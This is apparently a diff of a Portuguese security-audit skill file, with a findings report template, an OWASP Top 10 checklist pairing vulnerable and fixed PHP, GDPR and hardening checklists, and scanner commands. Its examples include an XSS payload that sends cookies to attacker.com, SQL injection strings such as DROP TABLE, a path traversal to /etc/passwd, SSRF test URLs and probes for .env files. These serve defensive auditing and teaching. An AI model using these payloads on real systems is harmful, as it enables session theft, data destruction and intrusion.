- **Categoria OWASP:** A03 - Injection
|
||||
|
||||
**Descrição:**
|
||||
Parâmetro `username` não sanitizado, permitindo SQL injection.
|
||||
|
||||
**Evidência:**
|
||||
```php
|
||||
// Código vulnerável (login.php:45)
|
||||
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";
|
||||
```
|
||||
|
||||
**Proof of Concept:**
|
||||
```bash
|
||||
curl -X POST https://site.com/login \
|
||||
-d "username=' OR '1'='1&password=anything"
|
||||
# Resultado: acesso sem password
|
||||
```
|
||||
|
||||
**Impacto:**
|
||||
- Acesso total à base de dados
|
||||
- Bypass de autenticação
|
||||
- Exfiltração de dados de clientes
|
||||
- Possível RCE via `INTO OUTFILE`
|
||||
|
||||
**Remediação:**
|
||||
```php
|
||||
// Usar prepared statements
|
||||
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
|
||||
$stmt->execute([$_POST['username']]);
|
||||
```
|
||||
|
||||
**Prazo:** IMEDIATO (fix em produção hoje)
|
||||
**Status:** 🔴 OPEN
|
||||
|
||||
---
|
||||
|
||||
### 🟠 ALTOS ([N] findings)
|
||||
|
||||
#### FINDING-002: XSS Stored em Comentários
|
||||
|
||||
- **Severidade:** ALTO (CVSS 7.2)
|
||||
- **Componente:** `comments.php`
|
||||
- **Categoria OWASP:** A03 - Injection (XSS)
|
||||
|
||||
**Descrição:**
|
||||
Input de comentários não escapa output, permitindo XSS persistente.
|
||||
|
||||
**Evidência:**
|
||||
```html
|
||||
<!-- Código vulnerável -->
|
||||
<div class="comment">
|
||||
<?php echo $comment->text; ?>
|
||||
</div>
|
||||
```
|
||||
|
||||
**Proof of Concept:**
|
||||
```html
|
||||
<script>
|
||||
fetch('https://attacker.com/steal?cookie='+document.cookie)
|
||||
</script>
|
||||
```
|
||||
|
||||
**Impacto:**
|
||||
- Session hijacking
|
||||
- Phishing de utilizadores
|
||||
- Defacement
|
||||
|
||||
**Remediação:**
|
||||
```php
|
||||
// Escapar output
|
||||
<div class="comment">
|
||||
<?php echo htmlspecialchars($comment->text, ENT_QUOTES, 'UTF-8'); ?>
|
||||
</div>
|
||||
```
|
||||
|
||||
**Prazo:** 24-48h
|
||||
**Status:** 🟠 OPEN
|
||||
|
||||
---
|
||||
|
||||
### 🟡 MÉDIOS ([N] findings)
|
||||
|
||||
[Mesmo formato]
|
||||
|
||||
---
|
||||
|
||||
### 🟢 BAIXOS ([N] findings)
|
||||
|
||||
[Mesmo formato]
|
||||
|
||||
---
|
||||
|
||||
## OWASP TOP 10 COMPLIANCE
|
||||
|
||||
| # | Categoria | Status | Findings |
|
||||
|---|-----------|--------|----------|
|
||||
| A01 | Broken Access Control | 🟡 Parcial | 2 médios |
|
||||
| A02 | Cryptographic Failures | ✅ OK | 0 |
|
||||
| A03 | Injection | 🔴 Falha | 1 crítico, 1 alto |
|
||||
| A04 | Insecure Design | 🟡 Parcial | 1 médio |
|
||||
| A05 | Security Misconfiguration | 🟠 Atenção | 3 altos |
|
||||
| A06 | Vulnerable Components | 🟡 Parcial | 5 baixos |
|
||||
| A07 | Auth Failures | ✅ OK | 0 |
|
||||
| A08 | Data Integrity | ✅ OK | 0 |
|
||||
| A09 | Logging Failures | 🟡 Parcial | 1 médio |
|
||||
| A10 | SSRF | ✅ OK | 0 |
|
||||
|
||||
---
|
||||
|
||||
## RECOMENDAÇÕES PRIORITIZADAS
|
||||
|
||||
### 🔴 URGENTE (Hoje)
|
||||
1. **FINDING-001:** Corrigir SQL Injection em login.php
|
||||
2. **FINDING-XXX:** ...
|
||||
|
||||
### 🟠 IMPORTANTE (Esta Semana)
|
||||
3. **FINDING-002:** Corrigir XSS em comentários
|
||||
4. **FINDING-XXX:** ...
|
||||
|
||||
### 🟡 MELHORIAS (Este Mês)
|
||||
5. **FINDING-XXX:** ...
|
||||
|
||||
---
|
||||
|
||||
## PLANO DE REMEDIAÇÃO
|
||||
|
||||
| Finding | Responsável | Prazo | Status |
|
||||
|---------|-------------|-------|--------|
|
||||
| FINDING-001 | Dev Team | 2026-02-03 | 🔴 OPEN |
|
||||
| FINDING-002 | Dev Team | 2026-02-05 | 🟠 OPEN |
|
||||
| ... | ... | ... | ... |
|
||||
|
||||
---
|
||||
|
||||
## COMPLIANCE GDPR
|
||||
|
||||
- [ ] ✅ Consentimento explícito capturado
|
||||
- [ ] ✅ Direito ao esquecimento implementado
|
||||
- [ ] ✅ Portabilidade de dados possível
|
||||
- [ ] ⚠️ Retenção de dados definida (parcial)
|
||||
- [ ] ✅ Encriptação de dados sensíveis
|
||||
- [ ] ✅ Logging de acessos activo
|
||||
- [ ] N/A DPO designado (não aplicável)
|
||||
- [ ] ⚠️ Privacy policy actualizada (desactualizada)
|
||||
|
||||
**Score GDPR:** 75/100 (Parcialmente Conforme)
|
||||
|
||||
---
|
||||
|
||||
## FERRAMENTAS UTILIZADAS
|
||||
|
||||
- OWASP ZAP (Automated Scan)
|
||||
- Manual Code Review
|
||||
- Burp Suite Community
|
||||
- SQLMap (SQL Injection)
|
||||
- XSStrike (XSS Testing)
|
||||
- Nmap (Port Scanning)
|
||||
- Nikto (Web Server Scan)
|
||||
|
||||
---
|
||||
|
||||
## CONCLUSÃO
|
||||
|
||||
[Resumo executivo, estado global, próximos passos]
|
||||
|
||||
---
|
||||
|
||||
**Confidencial - Descomplicar® Crescimento Digital**
|
||||
**Para uso interno e do cliente apenas**
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Checklist GDPR Completo
|
||||
|
||||
### Consentimento
|
||||
- [ ] Opt-in explícito (não pré-seleccionado)
|
||||
- [ ] Linguagem clara (não juridiquês)
|
||||
- [ ] Granular (aceitar newsletter ≠ aceitar tracking)
|
||||
- [ ] Fácil de retirar (mesma facilidade)
|
||||
|
||||
### Direitos do Titular
|
||||
- [ ] Direito ao acesso (exportar dados)
|
||||
- [ ] Direito à rectificação (editar dados)
|
||||
- [ ] Direito ao esquecimento (delete account)
|
||||
- [ ] Direito à portabilidade (formato standard)
|
||||
- [ ] Direito à oposição (opt-out processing)
|
||||
|
||||
### Segurança
|
||||
- [ ] Encriptação em trânsito (HTTPS)
|
||||
- [ ] Encriptação em repouso (BD sensível)
|
||||
- [ ] Passwords com hash forte (bcrypt)
|
||||
- [ ] Logs de acesso a dados pessoais
|
||||
- [ ] Notificação de breach (<72h)
|
||||
|
||||
### Documentação
|
||||
- [ ] Privacy policy actualizada (última 12 meses)
|
||||
- [ ] Cookie policy clara
|
||||
- [ ] Terms of service
|
||||
- [ ] Data processing agreement (DPA)
|
||||
|
||||
---
|
||||
|
||||
## Ferramentas de Análise
|
||||
|
||||
### Análise Estática (SAST)
|
||||
## Ferramentas rapidas
|
||||
|
||||
```bash
|
||||
# PHP - PHPStan
|
||||
phpstan analyse --level=max src/
|
||||
|
||||
# PHP - Psalm
|
||||
psalm --show-info=true
|
||||
|
||||
# PHP - Security Checker
|
||||
local-php-security-checker
|
||||
|
||||
# JavaScript - ESLint
|
||||
eslint --ext .js,.jsx src/
|
||||
|
||||
# Python - Bandit
|
||||
bandit -r project/
|
||||
```
|
||||
|
||||
### Análise Dinâmica (DAST)
|
||||
|
||||
```bash
|
||||
# OWASP ZAP (headless)
|
||||
zap-cli quick-scan -s all https://site.com
|
||||
|
||||
# Nikto
|
||||
nikto -h https://site.com
|
||||
|
||||
# SQLMap
|
||||
sqlmap -u "https://site.com/page?id=1" --batch
|
||||
|
||||
# Nmap
|
||||
nmap -sV -sC site.com
|
||||
|
||||
# WPScan (WordPress)
|
||||
wpscan --url https://site.com --api-token YOUR_TOKEN
|
||||
```
|
||||
|
||||
### Headers HTTP
|
||||
|
||||
```bash
|
||||
# Verificar headers de segurança
|
||||
# Headers HTTP
|
||||
curl -I https://site.com | grep -E "X-|Content-Security|Strict-Transport"
|
||||
|
||||
# SSL Labs
|
||||
curl "https://api.ssllabs.com/api/v3/analyze?host=site.com"
|
||||
|
||||
# Dependencias PHP
|
||||
composer audit
|
||||
|
||||
# Dependencias Node
|
||||
npm audit
|
||||
|
||||
# WordPress
|
||||
wpscan --url https://site.com --api-token YOUR_TOKEN
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Hardening Checklist
|
||||
## Contexto NotebookLM
|
||||
|
||||
### Sistema Operativo (Linux)
|
||||
- [ ] Firewall activo (iptables/firewalld)
|
||||
- [ ] SELinux/AppArmor activado
|
||||
- [ ] SSH com key-based auth (não password)
|
||||
- [ ] SSH não permite root login
|
||||
- [ ] Fail2ban instalado e configurado
|
||||
- [ ] Automatic security updates
|
||||
- [ ] Portas desnecessárias fechadas
|
||||
Consultar ANTES de executar para contexto especializado:
|
||||
|
||||
### Web Server (Nginx/Apache)
|
||||
- [ ] Server tokens desactivado
|
||||
- [ ] Directory listing desactivado
|
||||
- [ ] Security headers configurados
|
||||
- [ ] SSL/TLS configurado (A+ SSL Labs)
|
||||
- [ ] Apenas TLS 1.2+ (não SSL, TLS 1.0, 1.1)
|
||||
- [ ] HTTP/2 activado
|
||||
- [ ] Gzip/Brotli compression
|
||||
| Notebook | ID | Consultar quando |
|
||||
|----------|-----|-----------------|
|
||||
| Ciberseguranca WordPress | 5f60adfd-2435-4725-8c12-9c11c5f51d75 | Sempre |
|
||||
|
||||
### PHP
|
||||
- [ ] `display_errors = Off` em produção
|
||||
- [ ] `expose_php = Off`
|
||||
- [ ] `open_basedir` configurado
|
||||
- [ ] `disable_functions` configurado
|
||||
- [ ] File uploads limitados
|
||||
- [ ] Memory limit apropriado
|
||||
- [ ] OPcache activado
|
||||
|
||||
### MySQL
|
||||
- [ ] Bind apenas localhost (se possível)
|
||||
- [ ] Root sem acesso remoto
|
||||
- [ ] Passwords fortes
|
||||
- [ ] `skip-name-resolve`
|
||||
- [ ] Slow query log activado
|
||||
- [ ] Binary logs com retenção definida
|
||||
|
||||
---
|
||||
|
||||
## Confidencialidade
|
||||
|
||||
**CRÍTICO:**
|
||||
- **NUNCA** expor credenciais em relatórios
|
||||
- **MASCARAR** dados sensíveis (`email: *****@domain.com`)
|
||||
- **RESTRINGIR** relatórios a stakeholders autorizados
|
||||
- **ELIMINAR** ficheiros temporários após análise
|
||||
- **ENCRIPTAR** relatórios se enviados por email
|
||||
|
||||
---
|
||||
|
||||
## Datasets Dify (Consulta Obrigatória)
|
||||
|
||||
Consultar para conhecimento aprofundado ou casos específicos:
|
||||
|
||||
| Dataset | ID | Uso |
|
||||
|---------|----|----|
|
||||
| **TI (Tecnologia da Informação)** | `7f63ec0c-6321-488c-b107-980140199850` | Best practices gerais |
|
||||
| **Linux** | `bde4eddd-4618-402c-8bfb-bb947ed9219d` | Hardening Linux |
|
||||
| **AWS (Amazon Web Services)** | `cc7f000a-ad86-49b6-b59b-179e65f8a229` | Segurança cloud |
|
||||
| **CWP Centos Web Panel** | `b2a4d2c5-fe55-412c-bc28-74dbd611905d` | Hardening CWP |
|
||||
|
||||
**Consultar quando:**
|
||||
- Implementar WAF (Web Application Firewall)
|
||||
- Configurar SIEM (Security Information and Event Management)
|
||||
- Compliance ISO 27001
|
||||
- Pentest avançado
|
||||
|
||||
```javascript
|
||||
// Exemplo: pesquisar hardening Nginx
|
||||
mcp__notebooklm__notebook_query, mcp__dify-kb__dify_kb_retrieve_segments({
|
||||
dataset_id: "7f63ec0c-6321-488c-b107-980140199850",
|
||||
query: "nginx hardening security headers ssl tls",
|
||||
top_k: 3
|
||||
```
|
||||
mcp__notebooklm__notebook_query({
|
||||
notebook_id: "5f60adfd-2435-4725-8c12-9c11c5f51d75",
|
||||
query: "<adaptar ao contexto de auditoria>"
|
||||
})
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Changelog
|
||||
## Anti-patterns
|
||||
|
||||
### v2.0.0 (2026-02-03)
|
||||
- **ENHANCED:** Workflows detalhados para OWASP Top 10
|
||||
- Template de relatório completo
|
||||
- Código exemplo vulnerável vs seguro
|
||||
- Payloads de teste (SQL injection, XSS, etc.)
|
||||
- Checklist GDPR completo
|
||||
- Hardening checklist por componente
|
||||
- Ferramentas SAST/DAST documentadas
|
||||
- Severidade com CVSS scoring
|
||||
- Confidencialidade e handling de dados
|
||||
|
||||
### v1.0.0 (2026-01-27)
|
||||
- Versão inicial
|
||||
- OWASP Top 10 básico
|
||||
- Checklist GDPR
|
||||
- Ferramentas de análise
|
||||
| Anti-pattern | Problema | Solucao |
|
||||
|--------------|----------|---------|
|
||||
| Auditar sem historico | Repetir trabalho | Consultar memoria primeiro |
|
||||
| Ignorar severidade | Tudo parece urgente | Classificar com CVSS |
|
||||
| Relatorio sem evidencia | Nao accionavel | Incluir PoC e remediacao |
|
||||
| Expor credenciais | Fuga de dados | Mascarar PII no relatorio |
|
||||
| Auditar parcialmente | Falsa seguranca | OWASP Top 10 completo |
|
||||
|
||||
---
|
||||
|
||||
**Versão:** 2.0.0 | **Autor:** Descomplicar®
|
||||
**Última actualização:** 2026-02-03 (OWASP detalhado + Template completo + Hardening)
|
||||
## Confidencialidade
|
||||
|
||||
- **Nunca** expor credenciais em relatorios
|
||||
- **Mascarar** dados sensiveis (`email: *****@domain.com`)
|
||||
- **Restringir** relatorios a stakeholders autorizados
|
||||
- **Eliminar** ficheiros temporarios apos analise
|
||||
|
||||
---
|
||||
|
||||
## Ficheiros de referencia
|
||||
|
||||
## Quando NÃO Usar
|
||||
|
||||
- Para tarefas fora do domínio de especialização desta skill
|
||||
- Quando outra skill mais específica está disponível
|
||||
- Para operações que requerem confirmação manual do utilizador
|
||||
|
||||
|
||||
## Exemplos
|
||||
|
||||
### Exemplo 1: Uso Básico
|
||||
```
|
||||
Input: [descrição da tarefa]
|
||||
Output: [resultado esperado]
|
||||
```
|
||||
|
||||
### Exemplo 2: Uso Avançado
|
||||
```
|
||||
Input: [caso complexo]
|
||||
Output: [resultado detalhado]
|
||||
```
|
||||
| Ficheiro | Conteudo |
|
||||
|----------|----------|
|
||||
| [references/owasp-checklist.md](references/owasp-checklist.md) | OWASP Top 10 detalhado com codigo vulneravel vs seguro e testes |
|
||||
| [references/report-template.md](references/report-template.md) | Template relatorio, GDPR checklist, ferramentas SAST/DAST, hardening checklists |
|
||||
|
||||
@@ -0,0 +1,275 @@
|
||||
# /security-audit - OWASP Top 10 Checklist Detalhada
|
||||
|
||||
Verificações e exemplos de código para cada categoria OWASP Top 10.
|
||||
|
||||
## A01 - Broken Access Control
|
||||
|
||||
**Verificações:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL
|
||||
if ($_GET['user_id']) {
|
||||
$user = getUserById($_GET['user_id']); // Sem verificação ownership
|
||||
showUserData($user);
|
||||
}
|
||||
|
||||
// ✅ SEGURO
|
||||
if ($_GET['user_id']) {
|
||||
$user = getUserById($_GET['user_id']);
|
||||
if ($user->id !== $currentUser->id && !$currentUser->isAdmin()) {
|
||||
die('Unauthorized');
|
||||
}
|
||||
showUserData($user);
|
||||
}
|
||||
```
|
||||
|
||||
**Testes:**
|
||||
- [ ] Tentar aceder recurso de outro user (`/user/123` → `/user/124`)
|
||||
- [ ] Testar IDOR (Insecure Direct Object Reference)
|
||||
- [ ] Verificar se RBAC implementado correctamente
|
||||
- [ ] Path traversal (`../../../etc/passwd`)
|
||||
- [ ] Forced browsing (aceder `/admin` sem autenticação)
|
||||
|
||||
---
|
||||
|
||||
## A02 - Cryptographic Failures
|
||||
|
||||
**Verificações:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL
|
||||
$password = md5($_POST['password']); // MD5 é inseguro
|
||||
|
||||
// ✅ SEGURO
|
||||
$password = password_hash($_POST['password'], PASSWORD_BCRYPT);
|
||||
```
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Passwords com bcrypt/argon2 (não MD5/SHA1)
|
||||
- [ ] Dados sensíveis encriptados em BD
|
||||
- [ ] HTTPS em produção (não HTTP)
|
||||
- [ ] Cookies com flags `Secure` e `HttpOnly`
|
||||
- [ ] Sem PII em logs
|
||||
|
||||
**Testes:**
|
||||
```bash
|
||||
# Verificar HTTPS
|
||||
curl -I https://site.com | grep -i "strict-transport-security"
|
||||
|
||||
# Verificar cookies
|
||||
curl -I https://site.com | grep -i "set-cookie"
|
||||
# Deve ter: Secure; HttpOnly; SameSite=Strict
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## A03 - Injection (SQL, Command, LDAP)
|
||||
|
||||
**SQL Injection:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL
|
||||
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
|
||||
|
||||
// ✅ SEGURO (Prepared Statements)
|
||||
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
|
||||
$stmt->execute([$_GET['id']]);
|
||||
```
|
||||
|
||||
**Testes SQL:**
|
||||
```sql
|
||||
-- Payloads comuns
|
||||
' OR '1'='1
|
||||
'; DROP TABLE users; --
|
||||
' UNION SELECT NULL, NULL, NULL--
|
||||
```
|
||||
|
||||
**Command Injection:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL
|
||||
system("ping " . $_GET['host']);
|
||||
|
||||
// ✅ SEGURO
|
||||
$host = escapeshellarg($_GET['host']);
|
||||
system("ping $host");
|
||||
```
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Prepared statements em todas as queries
|
||||
- [ ] Input sanitizado antes de shell commands
|
||||
- [ ] NoSQL injection prevenido
|
||||
- [ ] LDAP injection prevenido
|
||||
- [ ] Template injection prevenido (Twig, Smarty)
|
||||
|
||||
---
|
||||
|
||||
## A04 - Insecure Design
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Rate limiting implementado (login, API)
|
||||
- [ ] CAPTCHA em formulários públicos
|
||||
- [ ] MFA disponível para contas admin
|
||||
- [ ] Session timeout configurado
|
||||
- [ ] Password policy forte (min 8 chars, uppercase, etc.)
|
||||
|
||||
**Testes:**
|
||||
```bash
|
||||
# Testar rate limiting
|
||||
for i in {1..100}; do
|
||||
curl -X POST https://site.com/login \
|
||||
-d "email=test@test.com&password=wrong" &
|
||||
done
|
||||
# Deve bloquear após N tentativas
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## A05 - Security Misconfiguration
|
||||
|
||||
**Checklist Servidor:**
|
||||
```bash
|
||||
# Verificar versões expostas
|
||||
curl -I https://site.com | grep -i "server:"
|
||||
# Não deve revelar Apache/2.4.41 ou PHP/8.1.2
|
||||
|
||||
# Verificar directory listing
|
||||
curl https://site.com/uploads/
|
||||
|
||||
# Verificar ficheiros sensíveis expostos
|
||||
curl https://site.com/.env
|
||||
curl https://site.com/.git/config
|
||||
curl https://site.com/phpinfo.php
|
||||
# Todos devem dar 403/404
|
||||
```
|
||||
|
||||
**Headers de Segurança:**
|
||||
```nginx
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer-when-downgrade" always;
|
||||
add_header Content-Security-Policy "default-src 'self' https:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'" always;
|
||||
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
|
||||
server_tokens off;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## A06 - Vulnerable and Outdated Components
|
||||
|
||||
**Verificações:**
|
||||
```bash
|
||||
# PHP - Composer
|
||||
composer audit
|
||||
|
||||
# Node.js
|
||||
npm audit
|
||||
|
||||
# WordPress
|
||||
wp core version
|
||||
wp plugin list --format=json | jq '.[] | select(.update=="available")'
|
||||
```
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Dependências actualizadas (últimos 3 meses)
|
||||
- [ ] Sem bibliotecas com vulnerabilidades conhecidas
|
||||
- [ ] PHP/Node/Python versão suportada
|
||||
- [ ] WordPress core e plugins actualizados
|
||||
|
||||
---
|
||||
|
||||
## A07 - Identification and Authentication Failures
|
||||
|
||||
**Verificações:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL - Session Fixation
|
||||
session_start();
|
||||
|
||||
// ✅ SEGURO
|
||||
session_start();
|
||||
session_regenerate_id(true); // Regenerar após login
|
||||
```
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Session regenerate após login
|
||||
- [ ] Logout invalida sessão no servidor
|
||||
- [ ] Session timeout (15-30 min)
|
||||
- [ ] Password reset com token expirável
|
||||
- [ ] Account lockout após N tentativas falhadas
|
||||
- [ ] Sem user enum (login não revela se user existe)
|
||||
|
||||
**Testes:**
|
||||
```bash
|
||||
# Testar user enumeration
|
||||
curl -X POST https://site.com/login \
|
||||
-d "email=naoexiste@test.com&password=wrong"
|
||||
# Não deve dizer "user não existe"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## A08 - Software and Data Integrity Failures
|
||||
|
||||
**Verificações:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL
|
||||
$data = unserialize($_GET['data']);
|
||||
|
||||
// ✅ SEGURO
|
||||
$data = json_decode($_GET['data'], true);
|
||||
```
|
||||
|
||||
**SRI Example:**
|
||||
```html
|
||||
<script src="https://cdn.example.com/lib.js"
|
||||
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
|
||||
crossorigin="anonymous"></script>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## A09 - Security Logging and Monitoring Failures
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Login attempts logged (success/fail)
|
||||
- [ ] Access to sensitive data logged
|
||||
- [ ] Logs não contêm passwords ou PII
|
||||
- [ ] Alertas configurados para actividade suspeita
|
||||
- [ ] Retenção de logs (mínimo 90 dias)
|
||||
|
||||
**Análise de Logs:**
|
||||
```bash
|
||||
# Tentativas de SQL injection
|
||||
grep -i "union.*select" /var/log/nginx/access.log
|
||||
|
||||
# Tentativas de path traversal
|
||||
grep -E "\.\./|\.\.%2F" /var/log/nginx/access.log
|
||||
|
||||
# Scans de vulnerabilidades
|
||||
grep -E "nikto|nmap|sqlmap" /var/log/nginx/access.log
|
||||
|
||||
# Tentativas de login falhadas
|
||||
grep "Failed password" /var/log/secure
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## A10 - Server-Side Request Forgery (SSRF)
|
||||
|
||||
**Verificações:**
|
||||
```php
|
||||
// ❌ VULNERÁVEL
|
||||
$url = $_GET['url'];
|
||||
file_get_contents($url); // Pode aceder rede interna
|
||||
|
||||
// ✅ SEGURO
|
||||
$url = $_GET['url'];
|
||||
$parsed = parse_url($url);
|
||||
if ($parsed['host'] !== 'allowed-domain.com') {
|
||||
die('Invalid URL');
|
||||
}
|
||||
// Whitelist de domínios permitidos
|
||||
```
|
||||
|
||||
**Testes:**
|
||||
```bash
|
||||
curl "https://site.com/fetch?url=http://localhost/admin"
|
||||
curl "https://site.com/fetch?url=http://192.168.1.1"
|
||||
```
|
||||
@@ -0,0 +1,237 @@
|
||||
# /security-audit - Template de Relatório e Ferramentas
|
||||
|
||||
## Template Relatório de Segurança
|
||||
|
||||
```markdown
|
||||
# RELATORIO DE SEGURANCA
|
||||
|
||||
**Sistema:** [Nome do Sistema/Aplicação]
|
||||
**Data:** [YYYY-MM-DD]
|
||||
**Auditor:** Security Compliance Specialist - Descomplicar®
|
||||
**Scope:** [Frontend | Backend | Infra | Full Stack]
|
||||
|
||||
---
|
||||
|
||||
## EXECUTIVE SUMMARY
|
||||
|
||||
[2-3 parágrafos resumindo estado de segurança global]
|
||||
|
||||
**Score Global:** [X]/100
|
||||
**CVSS Médio:** [X.X]
|
||||
|
||||
**Breakdown:**
|
||||
- Críticos: [N] findings
|
||||
- Altos: [N] findings
|
||||
- Médios: [N] findings
|
||||
- Baixos: [N] findings
|
||||
|
||||
---
|
||||
|
||||
## FINDINGS
|
||||
|
||||
### CRITICOS ([N] findings)
|
||||
|
||||
#### FINDING-001: SQL Injection em Login
|
||||
|
||||
- **Severidade:** CRÍTICO (CVSS 9.8)
|
||||
- **Componente:** `login.php` linha 45
|
||||
- **Categoria OWASP:** A03 - Injection
|
||||
|
||||
**Descrição:**
|
||||
Parâmetro `username` não sanitizado, permitindo SQL injection.
|
||||
|
||||
**Evidência:**
|
||||
```php
|
||||
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";
|
||||
```
|
||||
|
||||
**Proof of Concept:**
|
||||
```bash
|
||||
curl -X POST https://site.com/login \
|
||||
-d "username=' OR '1'='1&password=anything"
|
||||
```
|
||||
|
||||
**Impacto:**
|
||||
- Acesso total à base de dados
|
||||
- Bypass de autenticação
|
||||
- Exfiltração de dados de clientes
|
||||
|
||||
**Remediação:**
|
||||
```php
|
||||
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
|
||||
$stmt->execute([$_POST['username']]);
|
||||
```
|
||||
|
||||
**Prazo:** IMEDIATO
|
||||
**Status:** OPEN
|
||||
|
||||
---
|
||||
|
||||
## OWASP TOP 10 COMPLIANCE
|
||||
|
||||
| # | Categoria | Status | Findings |
|
||||
|---|-----------|--------|----------|
|
||||
| A01 | Broken Access Control | Parcial | 2 médios |
|
||||
| A02 | Cryptographic Failures | OK | 0 |
|
||||
| A03 | Injection | Falha | 1 crítico, 1 alto |
|
||||
| A04 | Insecure Design | Parcial | 1 médio |
|
||||
| A05 | Security Misconfiguration | Atenção | 3 altos |
|
||||
| A06 | Vulnerable Components | Parcial | 5 baixos |
|
||||
| A07 | Auth Failures | OK | 0 |
|
||||
| A08 | Data Integrity | OK | 0 |
|
||||
| A09 | Logging Failures | Parcial | 1 médio |
|
||||
| A10 | SSRF | OK | 0 |
|
||||
|
||||
---
|
||||
|
||||
## COMPLIANCE GDPR
|
||||
|
||||
- [ ] Consentimento explícito capturado
|
||||
- [ ] Direito ao esquecimento implementado
|
||||
- [ ] Portabilidade de dados possível
|
||||
- [ ] Retenção de dados definida
|
||||
- [ ] Encriptação de dados sensíveis
|
||||
- [ ] Logging de acessos activo
|
||||
|
||||
**Score GDPR:** 75/100 (Parcialmente Conforme)
|
||||
|
||||
---
|
||||
|
||||
**Confidencial - Descomplicar® Crescimento Digital**
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Checklist GDPR Completo
|
||||
|
||||
### Consentimento
|
||||
- [ ] Opt-in explícito (não pré-seleccionado)
|
||||
- [ ] Linguagem clara
|
||||
- [ ] Granular (newsletter ≠ tracking)
|
||||
- [ ] Fácil de retirar
|
||||
|
||||
### Direitos do Titular
|
||||
- [ ] Direito ao acesso (exportar dados)
|
||||
- [ ] Direito à rectificação (editar dados)
|
||||
- [ ] Direito ao esquecimento (delete account)
|
||||
- [ ] Direito à portabilidade (formato standard)
|
||||
- [ ] Direito à oposição (opt-out processing)
|
||||
|
||||
### Segurança
|
||||
- [ ] Encriptação em trânsito (HTTPS)
|
||||
- [ ] Encriptação em repouso (BD sensível)
|
||||
- [ ] Passwords com hash forte (bcrypt)
|
||||
- [ ] Logs de acesso a dados pessoais
|
||||
- [ ] Notificação de breach (<72h)
|
||||
|
||||
### Documentação
|
||||
- [ ] Privacy policy actualizada (última 12 meses)
|
||||
- [ ] Cookie policy clara
|
||||
- [ ] Terms of service
|
||||
- [ ] Data processing agreement (DPA)
|
||||
|
||||
---
|
||||
|
||||
## Ferramentas de Análise
|
||||
|
||||
### Análise Estática (SAST)
|
||||
|
||||
```bash
|
||||
# PHP - PHPStan
|
||||
phpstan analyse --level=max src/
|
||||
|
||||
# PHP - Psalm
|
||||
psalm --show-info=true
|
||||
|
||||
# PHP - Security Checker
|
||||
local-php-security-checker
|
||||
|
||||
# JavaScript - ESLint
|
||||
eslint --ext .js,.jsx src/
|
||||
|
||||
# Python - Bandit
|
||||
bandit -r project/
|
||||
```
|
||||
|
||||
### Análise Dinâmica (DAST)
|
||||
|
||||
```bash
|
||||
# OWASP ZAP (headless)
|
||||
zap-cli quick-scan -s all https://site.com
|
||||
|
||||
# Nikto
|
||||
nikto -h https://site.com
|
||||
|
||||
# SQLMap
|
||||
sqlmap -u "https://site.com/page?id=1" --batch
|
||||
|
||||
# Nmap
|
||||
nmap -sV -sC site.com
|
||||
|
||||
# WPScan (WordPress)
|
||||
wpscan --url https://site.com --api-token YOUR_TOKEN
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Hardening Checklist
|
||||
|
||||
### Sistema Operativo (Linux)
|
||||
- [ ] Firewall activo (iptables/firewalld)
|
||||
- [ ] SELinux/AppArmor activado
|
||||
- [ ] SSH com key-based auth (não password)
|
||||
- [ ] SSH não permite root login
|
||||
- [ ] Fail2ban instalado e configurado
|
||||
- [ ] Automatic security updates
|
||||
- [ ] Portas desnecessárias fechadas
|
||||
|
||||
### Web Server (Nginx/Apache)
|
||||
- [ ] Server tokens desactivado
|
||||
- [ ] Directory listing desactivado
|
||||
- [ ] Security headers configurados
|
||||
- [ ] SSL/TLS configurado (A+ SSL Labs)
|
||||
- [ ] Apenas TLS 1.2+ (não SSL, TLS 1.0, 1.1)
|
||||
- [ ] HTTP/2 activado
|
||||
|
||||
### PHP
|
||||
- [ ] `display_errors = Off` em produção
|
||||
- [ ] `expose_php = Off`
|
||||
- [ ] `open_basedir` configurado
|
||||
- [ ] `disable_functions` configurado
|
||||
- [ ] File uploads limitados
|
||||
- [ ] OPcache activado
|
||||
|
||||
### MySQL
|
||||
- [ ] Bind apenas localhost (se possível)
|
||||
- [ ] Root sem acesso remoto
|
||||
- [ ] Passwords fortes
|
||||
- [ ] `skip-name-resolve`
|
||||
- [ ] Slow query log activado
|
||||
|
||||
---
|
||||
|
||||
## Severidade de Findings
|
||||
|
||||
```
|
||||
CRÍTICO (Score 9-10)
|
||||
Exploração imediata possível, dados em risco
|
||||
RCE, SQL Injection, Authentication Bypass
|
||||
→ Corrigir IMEDIATAMENTE (<24h)
|
||||
|
||||
